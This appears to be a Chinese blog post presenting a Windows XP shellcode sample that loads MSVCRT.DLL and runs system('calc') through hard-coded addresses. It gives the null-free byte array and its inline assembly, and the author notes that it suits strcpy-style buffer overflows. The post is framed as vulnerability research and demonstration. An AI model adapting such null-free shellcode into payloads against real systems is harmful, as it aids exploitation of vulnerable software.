shellcode样本—弹出计算器

该样本弹出计算器的原理为:
1)先加载MSVCRT.DLL。
2)再使用system()函数调用calc命令。

该shellcode脚本只在xp下通过实验,仅适合用来研究和验证漏洞。其中的函数地址采用的都是固定地址。win7以上不适用。

该样本特点:没有任何0x00,可以参与字符串类溢出。比如strcpy等。

unsigned char shellcode2[] =
		"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
		"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
		"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
		"\x7b\x1d\x80\x7c"
		"\x52\x8D\x45\xF4\x50"
		"\xFF\x55\xF0"
		"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6C\x63\x89\x45\xF4\x33\xC0\x89\x45\xF8"
		"\x8D\x45\xF4"
		"\x50\xB8"
		"\xc7\x93\xbf\x77"
		"\xFF\xD0";
void Test1()
{
	__asm
	{
		push    ebp
		mov     ebp, esp
		xor     eax, eax
		push    eax
		push    eax
		push    eax
		mov     byte ptr[ebp - 0Ch], 4Dh; 'M'
		mov     byte ptr[ebp - 0Bh], 53h; 'S'
		mov     byte ptr[ebp - 0Ah], 56h; 'V'
		mov     byte ptr[ebp - 9], 43h; 'C'
		mov     byte ptr[ebp - 8], 52h; 'R'
		mov     byte ptr[ebp - 7], 54h; 'T'
		mov     byte ptr[ebp - 6], 2Eh; '.'
		mov     byte ptr[ebp - 5], 44h; 'D'
		mov     byte ptr[ebp - 4], 4Ch; 'L'
		mov     byte ptr[ebp - 3], 4Ch; 'L'
		mov     edx, 7C801D7Bh
		push    edx
		lea     eax, [ebp - 0Ch]
		push    eax
		call    dword ptr[ebp - 10h]
		push    ebp
		mov     ebp, esp
		sub     esp, 2Ch
		mov     eax, 636C6163h
		mov[ebp - 0Ch], eax
		xor     eax, eax
		mov[ebp - 8], eax
		lea     eax, [ebp - 0Ch]
		push    eax
		mov     eax, 77BF93C7h
		call    eax
	}
}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孤月丶星辰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值